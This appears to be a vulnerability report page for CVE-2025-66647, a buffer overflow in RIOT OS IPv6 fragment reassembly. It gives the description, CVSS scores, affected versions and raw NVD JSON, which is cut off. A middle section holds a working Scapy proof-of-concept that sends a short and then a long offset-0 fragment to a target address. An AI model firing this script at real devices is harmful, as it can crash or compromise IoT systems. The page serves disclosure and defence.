Security Vulnerability Report
中文
CVE-2025-66647 CVSS 9.8 CRITICAL

CVE-2025-66647

Published: 2025-12-17 21:16:15
Last Modified: 2026-01-22 16:30:36

Description

RIOT is an open-source microcontroller operating system, designed to match the requirements of Internet of Things (IoT) devices and other embedded devices. A vulnerability was discovered in the IPv6 fragmentation reassembly implementation of RIOT OS v2025.07. When copying the contents of the first fragment (offset=0) into the reassembly buffer, no size check is performed. It is possible to force the creation of a small reassembly buffer by first sending a shorter fragment (also with offset=0). Overflowing the reassembly buffer corrupts the state of other packet buffers which an attacker might be able to used to achieve further memory corruption (potentially resulting in remote code execution). To trigger the vulnerability, the `gnrc_ipv6_ext_frag` module must be included and the attacker must be able to send arbitrary IPv6 packets to the victim. Version 2025.10 fixes the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:riot-os:riot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:riot-os:riot:2025.10:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:riot-os:riot:2025.10:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:riot-os:riot:2025.10:rc3:*:*:*:*:*:* - VULNERABLE
RIOT OS v2025.07
RIOT OS < v2025.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66647 PoC - RIOT OS IPv6 Fragment Reassembly Buffer Overflow This PoC demonstrates the buffer overflow vulnerability in RIOT OS IPv6 fragment reassembly. """ import sys from scapy.all import IPv6, IPv6ExtHdrFragment, Raw, send def create_ipv6_fragment(src, dst, frag_id, offset, more_fragments, payload): """Create an IPv6 fragment packet""" pkt = IPv6(src=src, dst=dst) / IPv6ExtHdrFragment( frag_id=frag_id, offset=offset, m=more_fragments ) / Raw(load=payload) return pkt def exploit_cve_2025_66647(target_ip, interface=None): """ Exploit RIOT OS IPv6 fragment reassembly buffer overflow Attack strategy: 1. Send a short fragment (offset=0) to force small buffer allocation 2. Send a long fragment (offset=0) to overflow the buffer """ frag_id = 0x12345678 # Step 1: Send a short fragment with offset=0 to create small reassembly buffer short_payload = b'A' * 64 # Small payload to force small buffer pkt1 = create_ipv6_fragment( src="2001:db8::1", dst=target_ip, frag_id=frag_id, offset=0, more_fragments=1, payload=short_payload ) print(f"[*] Sending short fragment (offset=0, length={len(short_payload)})") send(pkt1, iface=interface, verbose=0) # Step 2: Send a long fragment with offset=0 to overflow the buffer long_payload = b'B' * 2048 # Large payload to overflow the buffer pkt2 = create_ipv6_fragment( src="2001:db8::1", dst=target_ip, frag_id=frag_id, offset=0, more_fragments=0, payload=long_payload ) print(f"[*] Sending long fragment (offset=0, length={len(long_payload)}) to trigger overflow") send(pkt2, iface=interface, verbose=0) print("[+] Exploit sent. If vulnerable, this should cause buffer overflow and memory corruption.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ipv6> [interface]") print(f"Example: {sys.argv[0]} fe80::1 eth0") sys.exit(1) target = sys.argv[1] iface = sys.argv[2] if len(sys.argv) > 2 else None exploit_cve_2025_66647(target, iface)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66647", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:15.483", "lastModified": "2026-01-22T16:30:35.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RIOT is an open-source microcontroller operating system, designed to match the requirements of Internet of Things (IoT) devices and other embedded devices. A vulnerability was discovered in the IPv6 fragmentation reassembly implementation of RIOT OS v2025.07. When copying the contents of the first fragment (offset=0) into the reassembly buffer, no size check is performed. It is possible to force the creation of a small reassembly buffer by first sending a shorter fragment (also with offset=0). Overflowing the reassembly buffer corrupts the state of other packet buffers which an attacker might be able to used to achieve further memory corruption (potentially resulting in remote code execution). To trigger the vulnerability, the `gnrc_ipv6_ext_frag` module must be included and the attacker must be able to send arbitrary IPv6 packets to the victim. Version 2025.10 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:riot-os:riot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.10", "matchCriteriaId": "3EE45C18-0705-45D6-9363-63017333DFF1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:riot-os:riot:2025.10:rc1:*:*:*:*:*:*", "matchCriteriaId": "6BEBF970-108C-4639-81A6-F2D307AC2959"}, {"vulnerable": true, "criteria": "cpe:2.3:o:riot-os:riot:2025.10:rc2:*:*:*:*:*:*", "matchCriteriaId": "A234F893-E4EF-436D-8B1B-E7B94B353374"}, {"vulnerable": true, "criteria": "cpe:2.3:o:riot-os:riot:2025.10:rc3:*:*:*:*:*:*", "matchCriteriaId": "31354945-C4EE-4017-99D3-AEAE3D435A85"}]}]}], "references": [{"url": "https://github.com/RIOT-OS/RIOT/blob/eb65305cf9f1b7affb50b17af5c12341b83a8636/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c#L411", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/RIOT-OS/RIOT/blob/eb65305cf9f1b7affb50b17af5c12341b83a8636/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c#L481", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/RIOT-OS/RIOT/blob/eb65305cf9f1b7affb50b17af5c12341b83a8636/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c#L532", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/RIOT-OS/RIOT/blob/eb65305cf9f1b7affb50b17af5c12341b83a8636/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c#L544", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/RIOT-OS/RIOT/releases/tag/2025.10", "source": "security-adv ... (truncated)